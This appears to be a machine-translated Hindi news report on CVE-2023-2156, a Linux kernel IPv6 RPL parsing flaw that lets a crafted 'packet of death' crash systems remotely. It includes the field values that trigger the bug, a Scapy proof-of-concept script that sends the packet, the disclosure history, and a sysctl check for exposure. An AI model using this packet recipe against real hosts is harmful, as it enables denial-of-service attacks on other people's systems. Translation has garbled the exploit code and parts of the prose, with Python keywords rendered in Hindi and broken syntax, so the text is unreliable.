0-दिन Linux IPv6 स्टैक भेद्यता जो दूरस्थ कर्नेल क्रैश की अनुमति देती है

लिनक्स कर्नेल में एक असंशोधित (0-दिन) भेद्यता (CVE-2023-2156) के बारे में जानकारी का खुलासा किया गया है, जो विशेष रूप से डिज़ाइन किए गए IPv6 पैकेट (पैकेट-ऑफ-डेथ) भेजकर सिस्टम को रोकने की अनुमति देता है। समस्या केवल तब दिखाई देती है जब आरपीएल (कम-पावर और हानिपूर्ण नेटवर्क के लिए रूटिंग प्रोटोकॉल) प्रोटोकॉल के लिए समर्थन सक्षम किया जाता है, जो वितरण में डिफ़ॉल्ट रूप से अक्षम होता है और मुख्य रूप से उच्च पैकेट हानि वाले वायरलेस नेटवर्क में चलने वाले एम्बेडेड डिवाइस पर उपयोग किया जाता है।

भेद्यता आरपीएल प्रोटोकॉल पार्सिंग कोड में बाहरी डेटा की गलत प्रोसेसिंग के कारण होती है, जिससे एस्टर विफलता होती है और कर्नेल पैनिक स्थिति में चला जाता है। IPv6 RPL पैकेट हेडर को पार्स करने से प्राप्त डेटा को k_buff (सॉकेट बफर) संरचना में रखते समय, यदि CmprI फ़ील्ड को 15, Segleft फ़ील्ड को 1, और CmprE को 0 पर सेट किया जाता है, तो पते के साथ 48-बाइट वेक्टर डिकंप्रेस हो जाता है 528 बाइट्स तक और ऐसी स्थिति प्रकट होती है जहां बफ़र के लिए आवंटित मेमोरी पर्याप्त नहीं है। इस मामले में, डेटा को संरचना में धकेलने के लिए उपयोग किया जाने वाला skb_push फ़ंक्शन, डेटा के आकार और बफ़र के बीच असंगतता की जाँच करता है, जिससे बफ़र सीमा से परे लिखने से रोकने के लिए घबराहट की स्थिति उत्पन्न होती है।

उदाहरण शोषण: # हम scapy.all आयात से पैकेट तैयार करने के लिए Scapy का उपयोग करेंगे * आयात सॉकेट # अपने LAN इंटरफ़ेस से IPv6 का उपयोग करें DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # हम पैकेट भेजने के लिए सॉकेट का उपयोग करते हैं sockfd = सॉकेट.सॉकेट(सॉकेट.AF_INET6, सॉकेट.SOCK_RAW, सॉकेट.IPPROTO_RAW) # पैकेट तैयार करें # टाइप = 3 इसे एक RPL पैकेट बनाता है # एड्रेस में 3 पते होते हैं, लेकिन क्योंकि CmprI 15 है, # पहले दो पतों का प्रत्येक ऑक्टेट है प्रवर्धन को ट्रिगर करने के लिए एक संपीड़ित पते # Segleft = 1 के रूप में व्यवहार किया जाता है # Lastentry = 0xf0 CmprI को 15 और CmprE को 0 p पर सेट करता है = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses="a8: :", "a7::", "a6::"], segleft=1, laentry=0xf0) # इस दुष्ट पैकेट को sockfd.sendto(बाइट्स(p), (DST_ADDR, 0)) भेजें

उल्लेखनीय है कि कर्नेल डेवलपर्स को जनवरी 2022 में भेद्यता के बारे में सूचित किया गया था और पिछले 15 महीनों में उन्होंने सितंबर 2022, अक्टूबर 2022 और अप्रैल 2023 में पैच जारी करके तीन बार समस्या को ठीक करने का प्रयास किया है, लेकिन हर बार समस्या को ठीक नहीं किया गया। पर्याप्त नहीं है और भेद्यता को पुन: उत्पन्न नहीं किया जा सका। अंततः, ZDI परियोजना, जिसने भेद्यता को ठीक करने के लिए कार्य का समन्वय किया, ने कर्नेल में कार्यशील सुधार उपलब्ध होने की प्रतीक्षा किए बिना भेद्यता के बारे में विस्तृत जानकारी जारी करने का निर्णय लिया।

इस प्रकार, भेद्यता अभी भी अपरिवर्तित बनी हुई है। विशेष रूप से, 6.4-आरसी2 कर्नेल में शामिल पैच अप्रभावी है। उपयोगकर्ताओं को यह जांचने की सलाह दी जाती है कि उनके सिस्टम पर आरपीएल प्रोटोकॉल का उपयोग नहीं किया गया है, जो कमांड sysctl -a | का उपयोग करके किया जा सकता है। grep -i rpl_seg_enabled

स्रोत: opennet.ru

एक टिप्पणी जोड़ें